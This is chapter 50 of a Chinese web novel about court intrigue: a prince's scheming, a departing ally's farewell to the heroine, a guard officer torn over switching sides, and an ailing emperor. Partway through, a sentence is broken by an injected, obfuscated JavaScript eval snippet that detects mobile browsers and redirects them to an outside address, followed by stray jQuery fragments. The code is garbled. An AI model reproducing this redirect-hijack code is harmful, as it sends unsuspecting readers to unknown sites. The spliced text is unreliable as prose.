奶冻卷 作品

50. 第 50 章

    裴之看着晁益民不否认也不承认。


    两军对弈,最终还是晁益民败下阵来。


    他叹着气颇为丧气道:“我斗不过他的。”


    “洪流之下你我皆为砂石,不只需要发挥你的作用即可,本王不需要你赢。”


    “你就不怕我回去后反水狠狠告你一状,连同他一起搞死你?”晁益民不理解。


    “你自寻死路,本王自然不会拦着你。”


    裴之选晁益民的原因就是因为‘改过自新’后的晁益民贵有自知之明,是一把虽然钝但好用的刀。


    晁益民颓然:“利用完我之后你打算做什么?自己登基?”


    裴之露出一个意味深长的笑。


    许久,晁益民从裴之书房出来,脸上是复杂是茫然是疲惫,还有恐惧。


    这一夜,彻夜难寐的人有许多。


    翌日清晨,钱瑶瑶还在洗漱晁益民就到了小院,听到他要离开的消息时钱瑶瑶都惊了,在知道是裴之的安排后才淡定下来。


    “其实一直以来我都逐渐在恢复记忆。”晁益民颇为歉疚开口。


    “我知道。”


    “有几次我想跟你坦白的。”


    “我知道。”


    “我为过去愚蠢的我感到抱歉。”


    “我原谅你。”


    晁益民不知说什么了,原来自始至终沉醉在这场好孩子游戏的就只有他一个人,他扯出几抹苦笑,转身准备离去。


    钱瑶瑶扯住他,把几包药拍在他手上:“这东西给你。”


    “这是什么?”


    “我自己研究的止血散、解毒散什么乱七八糟的反正上面写了,你以后说不定用得上。”钱瑶瑶说着在他面前站定,冲他露出一个友善的微笑:“或许我跟六皇子关系不好,但我跟晁益民关系还不错,回去后好好照顾自己,实在是顶不住就撤下来吧,也没人怪你。”


    晁益民垂下头,他眼尾微微湿润,是啊,是只有跟在钱瑶瑶身边才独有的安心感和松弛感。


    他这辈子才寥寥体验了月余便不想再松手,不知不觉中他已经习惯追随她的脚步。


    “你愿不愿意给我一个机会?”晁益民握紧了药包,眼神坚定的看着钱瑶瑶:“我会证明给你看的,我不比梁王差。”


    钱瑶瑶脑子一懵,好歹活了这么多年,怎么会听不出晁益民说的什么意思。


    她尴尬的挠挠脸:“那个,你最好不要继续说了,我怕你出去的时候会因为左脚拌右脚不小心摔在了裴之的剑上然后死掉。”


    晁益民沉默了,仔细想想或许真有可能。


    他叹了口气:“罢了,现在说这些也没用,以后再看吧,以后的事情谁知道呢?不过我初心不变。”


    晁益民说着突然靠近钱瑶瑶,在她身侧低声说:“如果裴之死了,随时来找我。”


    说完他阔步离去。


    “?!靠!你把老娘的药还回来!你个白眼狼!”钱瑶瑶气急,攥紧拳头就要去追。


    “咋了?小姐咋了?”翠珠茫然的从药田里抬起头。


    “我一片好心为这小兔崽子,结果他居然咒我变成寡妇!叔叔能忍婶婶都忍不了了!”


    晁益民听到后面漫骂的动静,突然哈哈大笑起来,心头的郁气一扫而空,走出梁王府,他回头看了一眼纯金的牌匾。


    到底是谁淹没在洪流之中还两说呢。


    书房中,裴之似有所感的回头看向王府大门,嘴角勾起一抹不屑:“孩子的妄想倒也不必彻底打碎。”


    大门外,晁益民看着宽敞的街道,突然有点犯难,他忍不住向钟伯投去求助的目光。


    钟伯笑盈盈道:“王爷说,您既然这么有心气,那就走着回去吧,紫禁城距离这儿也不过半个时辰的路程罢。”


    “……这么小气的男人她到底看上哪里了?”


    -


    李驰风坐在卧房,看着手中璀璨夺目的金色剑鞘他眉头紧锁。


    这是梁王派人送来的,在这个节骨眼上,梁王这是意欲何为?


    “李郎,你说梁王是不是想以此拉拢你?就跟六皇子之前送来的珠宝一般。”周氏也是眉头紧蹙,脸上惴惴不安。


    “或许是。”李驰风不断抚摸着剑鞘。


    到底是生活了十几年的人,周氏怎么会看不懂李驰风?


    “你该不会是想答应了吧?你难道忘记我从前跟你说的什么了?眼下朝廷局势动荡,不要贸然站队。”


    “先前拒绝六皇子后我们就已经没得选了,如今二皇子迟迟不表态,六皇子……此人心狠手辣阴晴不定,不是明主啊。”


    李驰风深深叹了口气,握着剑鞘的手又收紧几分。


    “你当真是要气死我!”周氏捂着胸口咳嗽的脸涨的通红,她指着李驰风骂道:“你站在他那边,可知道下场是什么?难道叫我们一家子都视作叛党吗?!”


    “你懂什么?”李驰风没好气打断她:“你如何能说裴家人是叛党?当初若不是裴老将军,如何能有现在的青鸟国?如今明君不在,再立新……”


    李驰风冷静下来收了声音,他重新坐下,语气平淡道:“又怎么了?裴老将军对我有知遇之恩,裴将军对我有救命之恩,如今梁王朝我抛出橄榄枝,我如何不能……”


    他手指不断抚摸着剑鞘:“我为青鸟国出生入死,几十次险象环生,换来的是禁锢在那朱雀大门前,每日为大小官员开启城门,受人冷落讥讽,日子过的紧巴巴,连给你换一身好衣裳的银钱都没有,裴将军一家为青鸟国倾尽一切,得到的就是家破人亡。”


    周氏早泪流满面:“你去!你去了就不要回来见我了!就当我病死了罢!”


    李驰风用力闭上眼,手捏的铁青,他如何不是心如刀绞,如何不是满心踌躇?


    “罢,暂且不想这么多,你好好休息我出去冷静冷静。”李驰风阔步走出房间。


    周氏彻底崩溃,趴在被子上哭晕了两次,一直到再哭不出来才停下,她让丫鬟拿来请帖,给相熟的每一位贵妇人发了请帖,邀请府上一叙……


    费家。


    费琴从成堆的账册里抬起头,狠狠搓了一把酸痛的腰和马上要断了的手指,她才叹了半口气,纤细的竹条就立刻拍打在她的后背,火辣辣的刺痛令她险些嗷嗷叫出声。


    “专心,不要分神,注意体态。”费夫人手握着竹条盯着她:“不是说要坚持下去吗?这才几日。”


    费琴苦哈哈,但她脸上还是挂着得体的微笑:“是,母亲,只是今日已经学了三个时辰了,不免有些乏累。”


    “那你今日就休息吧,明日我会亲自来叫你。”


    再三确认费夫人走了,费琴毫无形象的瘫软在床


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522235|167418||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    ,她双目无神觉得自己灵魂都要湮灭了。


    “钱瑶瑶啊钱瑶瑶,我为你变成这样,你以后可要照顾我一辈子。”


    费夫人立在窗后,看着费琴嘀嘀咕咕的睡着了,她眼中难掩心疼。


    她原以为费琴不过三分钟热度,很快就会叫苦连天,但这孩子自从上次说要接手家中产业后就当真跟变了个人似的,学起东西来不仅很有天赋,而且从不抱怨,不管如何约束她都是一副认错认罚的态度。


    原来是为了那个钱医师吗……


    费夫人眼神闪烁,捏紧了手中竹条,最后朝书房走去。


    皇帝未上早朝的第七天,再一次扑了个空的朝臣门开始躁动不安,他们堵住了正准备走出宣武殿为


    “蒋丞相,这圣上七日未召见我等,您位高权重不若替我等面见圣上,这国不可一日无此君呐。”


    蒋候真扫过面前群臣,点了点头说:“也好,那就由我去面见圣上,诸位同僚静候佳音。”


    “不愧是丞相大人,为社稷鞠躬尽瘁,我等拜服、拜服。”


    在几人的彩虹屁之下,蒋候真跟着老太监康公公去了皇帝寝宫太武殿。


    康公公直接给人打开了大门,随后看守在了门口。


    蒋候真绕过屏风,进到内室就看见躺在龙床上虚弱不堪的庆帝。


    “臣蒋候真见过皇上,皇上万安。”


    “是你啊。”庆帝撑开双眸,浑浊的眼中尽是疲惫和血丝,他目光呆滞吃看向左边:“近前来。”


    蒋候真弯着腰恭敬的靠近龙床:“皇上的身子,似乎不大好,可是御医院那群狗东西怠慢了皇上?”


    庆帝张开嘴啊啊两声,没说出一阵完整话,他手指吃力的指了指床头的匣子。


    蒋候真连忙将匣子打开,从黄金宝盒中取出一粒丹药。


    “皇上,臣伺候您吃药。”


    他小心翼翼扶起庆帝,将手中丹药用人参水送服,庆帝艰难的吞咽下去,整个人如同脱水的鱼儿忽然大口大口的喘着气。


    蒋候真就站在床边,看着庆帝脸色无悲无喜。


    好一会后庆帝终于缓过神来,他眼中多出几分光亮。


    “侯真啊,你与朕相识多久了?”


    “回皇上,已有三十六载。”蒋候真恭敬回话。


    “三十六年了,咳咳……”


    蒋候真赶忙上前为其顺气:“皇上,您保重龙体社稷方能稳固。”


    庆帝好似没听见一般,他继续自顾自的说:“昨天朕梦见裴家那个老不死的了,他笑话朕算计来算计去,到老一场空,你说,对吗?”


    “皇上乃天子,坐拥整个青鸟国,如何能是他那老匹夫相比的。”


    “侯真,朕登基以来唯一羡慕过的人就是这老匹夫,不想死了在下面也受他的气。”


    “皇上身体康健,那老匹夫如何能见得着您?”


    “呵咳咳……”庆帝脸上泛起苦笑:“侯真,昨日老二回来了,他变化很大,与朕说了许久许久的话,朕若再活得长一些,或许这皇位……”


    庆帝嘴唇翕动,声音却逐渐减弱,最后闭上了眼睛。


    蒋候真大骇,赶忙探了探鼻息,发现只是睡过去后才重重松了口气。


    他看着毫无气血的庆帝,喃喃道:“皇上啊皇上,您到底是真糊涂还是假糊涂?”